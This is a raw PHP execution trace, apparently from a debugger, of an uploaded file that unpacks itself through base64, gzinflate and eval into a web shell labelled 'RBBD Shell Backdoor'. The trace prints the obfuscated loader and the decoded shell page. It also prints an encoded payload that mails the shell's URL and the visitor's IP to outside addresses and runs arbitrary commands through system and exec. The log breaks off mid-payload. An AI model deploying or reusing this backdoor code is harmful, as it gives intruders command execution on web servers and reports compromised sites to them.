2	10	0	0.000969	430600	base64_decode	0		/var/www/html/uploads/RBBD.php	3	1	'ZnVuY3Rpb24gcmV0dXJubWFsKCRfY29kZSwgJF9zaGExKQogICAgewogICAgICAgIGlmIChzaGExKCRfY29kZSkgPT0gJF9zaGExKSB7CiAgICAgICAgICAgIHJldHVybiBldmFsKCI/PiIgLiAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJF9jb2RlKSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICgiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTsKICAgICAgICB9CiAgICB9'
2	10	1	0.000991	431016
2	10	R			'function returnmal($_code, $_sha1)\n    {\n        if (sha1($_code) == $_sha1) {\n            return eval("?>" . (gzinflate(base64_decode($_code))));\n        } else {\n            echo ("Error: File Modified");\n        }\n    }'
2	11	0	0.001036	431672	eval	1	'function returnmal($_code, $_sha1)\n    {\n        if (sha1($_code) == $_sha1) {\n            return eval("?>" . (gzinflate(base64_decode($_code))));\n        } else {\n            echo ("Error: File Modified");\n        }\n    }'	/var/www/html/uploads/RBBD.php	3	0
2	11	1	0.001059	431672
2	12	0	0.001067	431320	getmal	1		/var/www/html/uploads/RBBD.php	3	2	[0 => '<?php\n', 1 => '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS']	2
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	3	$_array_length = 3
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	4	$_taking_array = 2
3	13	0	0.001137	431320	trim	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	6	1	'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
3	13	1	0.001181	431352
3	13	R			'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	12	$_a = '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
3	14	0	0.001270	431320	substr	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	18	2	'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'	1199
3	14	1	0.001315	460056
3	14	R			'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
3	15	0	0.001359	459992	trim	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	18	1	'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
3	15	1	0.001404	460024
3	15	R			'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	18	$_f = '7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
2	12	1	0.001487	459992
2	12	R			'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
2	16	0	0.001530	459992	getmal	1		/var/www/html/uploads/RBBD.php	3	2	[0 => '<?php\n', 1 => '\n', 2 => '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS']	1
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	3	$_array_length = 3
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	4	$_taking_array = 2
3	17	0	0.001599	459992	trim	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	6	1	'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
3	17	1	0.001643	460024
3	17	R			'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	12	$_a = '$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'
3	18	0	0.001732	459992	substr	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	16	3	'$_getf=file(__FILE__);eval(base64_decode("ZnVuY3Rpb24gZ2V0bWFsKCRfZywgJF9iID0gMCkKICAgIHsJCiAgICAJJF9hcnJheV9sZW5ndGggPSBjb3VudCgkX2cpOwogICAgCSRfdGFraW5nX2FycmF5ID0gJF9hcnJheV9sZW5ndGggLSAxOwogICAgCXdoaWxlKDE9PTEpIHsKICAgIAkJaWYoZW1wdHkodHJpbSgkX2dbJF90YWtpbmdfYXJyYXldKSkpIHsKICAgIAkJCSRfdGFraW5nX2FycmF5ID0gJF90YWtpbmdfYXJyYXkgLSAxOwogICAgCQl9IGVsc2UgewogICAgCQkJYnJlYWs7CiAgICAJCX0KICAgIAl9CiAgICAgICAgJF9hID0gJF9nWyRfdGFraW5nX2FycmF5XTsKICAgICAgICBpZiAoJF9iID09IDApIHsKICAgICAgICAgICAgJF9mID0gc3Vic3RyKCRfYS'	1159	40
3	18	1	0.001775	460168
3	18	R			'76e5328b0a78de6f89f03cd35a82da16b75cdbe2'
2		A						/var/www/html/uploads/RBBD.php(3) : eval()'d code	16	$_f = '76e5328b0a78de6f89f03cd35a82da16b75cdbe2'
2	16	1	0.001804	460072
2	16	R			'76e5328b0a78de6f89f03cd35a82da16b75cdbe2'
2	19	0	0.001820	460072	returnmal	1		/var/www/html/uploads/RBBD.php	3	2	'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'	'76e5328b0a78de6f89f03cd35a82da16b75cdbe2'
3	20	0	0.001863	460072	sha1	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	3	1	'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
3	20	1	0.001957	460184
3	20	R			'76e5328b0a78de6f89f03cd35a82da16b75cdbe2'
3	21	0	0.001974	460072	base64_decode	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	4	1	'7b1rk+JIki78fX9FWe85b+9abU9LAqpSPT2zBgKBBChB6AL68hpIJAhdoBMSEHvOfz/uEbqCIMmqonfWbKwtuzJBiouHh/vjHh7uvy93gf/3T78v51MH/vHd0Pu0fJ2//O3n5W63+e3XX1/n269r2/vL+nXx63S7ne+2v7rB4teX6d611+FfNuHi50+vc/9vP2+X69ed/bb7hJ///Gnq7/72M/kVmt25O3/+d7XRaH4aLee+/6kxtT1nvX79/Vf61aff7Xm4m7/+/fcl+/ffX9bh7tPL1J7/7afR9HUzDe3lT3//9P/9K//0VP3rp5Jmku9+/xVf/zVu69PvwXw3/RROg/nffp6+7WCAP3+CEe3g67/9nDXzc/KkvZy+wgz/9pOuib88/VSgx08/kWn+tN1F/ny7nM93P33aRRsY4m5+3P1qb7f4PPn2759mayf6r084jV9epoHrR799ymbyH5/st9etu5//9dMMxr94Xb+Fzi9uMF3Mf/v09ur/20//'
3	21	1	0.002079	488776
3	21	R			'�k��H�.�}EY�9o�ZmOK\002�R==�\006\002�\004(A�\002��\032H$\b]�\023\022\020{�?�\021�� ɪ�w�l�-�2A������\036\036�/w���O�/�S\a�����|������n����__�ۯk��u��t��ﶿ���ח�޵��_6���O�s�o?o��ם�������i��3�\025�ݹ;�w��h~\032-��1�=g�~��W�է��y������%���_�����Ԟ����u3\r��O��+��T�맒f��~�\025_�5n���|7�\024N���~���`�?�\021����5�s򤽜��\f������<�T��O?�i���E�|���w?}�E\033\030�n~�jo��<���fk\'��O8�_^���G�}�f�\037��׭�����\fƿx]���/n0]�����O��ӿ�\025\006�_{�;�Ǧ���^\0060��^��ٗ���|��-\\ǿ\025�ܬ���]��'
3	22	0	0.002461	488744	gzinflate	0		/var/www/html/uploads/RBBD.php(3) : eval()'d code	4	1	'�k��H�.�}EY�9o�ZmOK\002�R==�\006\002�\004(A�\002��\032H$\b]�\023\022\020{�?�\021�� ɪ�w�l�-�2A������\036\036�/w���O�/�S\a�����|������n����__�ۯk��u��t��ﶿ���ח�޵��_6���O�s�o?o��ם�������i��3�\025�ݹ;�w��h~\032-��1�=g�~��W�է��y������%���_�����Ԟ����u3\r��O��+��T�맒f��~�\025_�5n���|7�\024N���~���`�?�\021����5�s򤽜��\f������<�T��O?�i���E�|���w?}�E\033\030�n~�jo��<���fk\'��O8�_^���G�}�f�\037��׭�����\fƿx]���/n0]�����O��ӿ�\025\006�_{�;�Ǧ���^\0060��^��ٗ���|��-\\ǿ\025�ܬ���]��'
3	22	1	0.003048	566600
3	22	R			'<html> <head> <link href=\'http://res7ock.org/assets/img/favicon.png\' rel=\'shortcut icon\' alt=\'icon\'> <title>RBBD Shell Backdoor</title> <center><h1><font face="Sarpanch"> &#9884; RBBD Shell Backdoor &#9884;</h1></center> <meta name=\'author\' content=\'RBBD Shell\'> <meta charset="UTF-8"> <link href="" rel="stylesheet" type="text/css"> <style> body{ font-family: "Sarpanch", cursive; background-image: url("#"); color:red; background-attachment:fixed; background-repeat:no-repeat; background-position:cen'
3	23	0	0.003327	618560	eval	1	'?><html> <head> <link href=\'http://res7ock.org/assets/img/favicon.png\' rel=\'shortcut icon\' alt=\'icon\'> <title>RBBD Shell Backdoor</title> <center><h1><font face="Sarpanch"> &#9884; RBBD Shell Backdoor &#9884;</h1></center> <meta name=\'author\' content=\'RBBD Shell\'> <meta charset="UTF-8"> <link href="" rel="stylesheet" type="text/css"> <style> body{ font-family: "Sarpanch", cursive; background-image: url("#"); color:red; background-attachment:fixed; background-repeat:no-repeat; background-position:center; background-color:#000; -webkit-background-size: 100% 100%; } #content tr:hover{ background-color:white; text-shadow:1px 0px 0px #000; } #content .first{ background-color: yellow; font-weight: bold; } H1{ color:yellow; font-family: "Sarpanch", cursive; } #content .first:hover{ background-color: yellow; text-shadow:1px 0px 0px #000; } table{ border: 0px red solid; } a{ color: yellow; text-decoration: none; } a:hover{ color: white; text-shadow:1px 0px 0px #000; } .tombols{ background:black; color:yellow; border-top:0; border-left:0; border-right:0; border: 2px white solid; padding:5px 8px; text-decoration:none; font-family: \'Sarpanch\', sans-serif; border-radius:5px; } textarea{ color:white; background-color:transparent; font-weight: bold; padding:5px 8px; font-family: "Sarpanch", cursive; border: 2px white solid; -moz-border-radius: 5px; -webkit-border-radius:5px; border-radius:5px; } input,select{ color:yellow; background-color:black; font-weight: bold; font-family: "Sarpanch", cursive; border: 2px white solid; } </style> </head> <link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet"> <link href="https://fonts.googleapis.com/css?family=Sarpanch|Teko" rel="stylesheet">\n<?php $code =\n\'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CnNldF90aW1lX2xpbWl0KDApOwppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7CmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKJHR1anVhbm1haWwgPSAnc2VydmVycGhwc2hlbGxAZ21haWwuY29tJzsKJHR1anVhbm1haWwxID0gJzEzc2hlbGwzN0BnbWFpbC5jb20nOwokeF9wYXRoID0gImh0dHA6Ly8iIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOwptYWlsKCR0dWp1YW5tYWlsLCAiTE9HR0VSIiwgJHBlc2FuX2FsZXJ0LCAiWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iKTsKbWFpbCgkdHVqdWFubWFpbDEsICJMT0dHRVIiLCAkcGVzYW5fYWxlcnQsICJbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSIpOwpzZXRfdGltZV9saW1pdCgwKTsKZXJyb3JfcmVwb3J0aW5nKDApOwoKLy9mdW5jdGlvbgpmdW5jdGlvbiBhbWJpbEthdGEoJHBhcmFtLCAka2F0YTEsICRrYXRhMil7CiAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOwogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsKICAgICRzdGFydCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMSkgKyBzdHJsZW4oJGthdGExKTsKICAgICRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7CiAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsKICAgIHJldHVybiAkcmV0dXJuOwp9CmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsKICAgIGZ1bmN0aW9uIGlkeF9zcygkYXJyYXkpIHsKcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ2lkeF9zcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsKICAgIH0KICAgICRfUE9TVCA9IGlkeF9zcygkX1BPU1QpOwp9CgpmdW5jdGlvbiBleGUoJGNtZCkgewogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgeyAgICAgICAgCkBvYl9zdGFydCgpOyAgICAgICAKQHN5c3RlbSgkY21kKTsgICAgIAokYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTsgICAgICAgIApAb2JfZW5kX2NsZWFuKCk7ICAgICAgIApyZXR1cm4gJGJ1ZmY7ICAKICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7ICAgICAgICAKQGV4ZWMoJGNtZCwkcmVzdWx0cyk7ICAgICAgCiRidWZmID0gIiI7ICAgICAgICAKZm9yZWFjaCgkcmVzdWx0cyBhcyAkcmVzdWx0KSB7ICAgICAgICAgCiAgICAkYnVmZiAuPSAkcmVzdWx0OyAgICAgIAp9IHJldHVybiAkYnVmZjsgICAgCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsgICAgICAgIApAb2Jfc3RhcnQoKTsgICAgICAgCkBwYXNzdGhydSgkY21kKTsgICAgICAgCiRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAgICAgICAgCkBvYl9lbmRfY2xlYW4oKTsgICAgICAgCnJldHVybiAkYnVmZjsgIAogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsgICAgICAKJGJ1ZmYgPSBAc2hlbGxfZXhlYygkY21kKTsgICAgIApyZXR1cm4gJGJ1ZmY7ICAKICAgIH0KfQoKLy9jaGVjayBkaXIKJG5pY2sgPSAiazB2M1QiOwppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKfWVsc2V7CiRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHNvZnR3YXJlID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgppZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsKICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgICRncm91cCA9ICI/IjsKfSBlbHNlIHsKICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsKICAgICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsKICAgICR1c2VyID0gJHVpZFsnbmFtZSddOwogICAgJHVpZCA9ICR1aWRbJ3VpZCddOwogICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgJGdpZCA9ICRnaWRbJ2dpZCddOwp9IAovL3VuYW1lCmVjaG8gIjxicj48Yj48aT48Y2VudGVyPjxmb250IGNvbG9yPXllbGxvdyBzaXplPTM+Q3VycmVudCBEaXIgPC9mb250PjogIjsKZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsKaWYoJHBhdCA9PSAnJyAmJiAkaW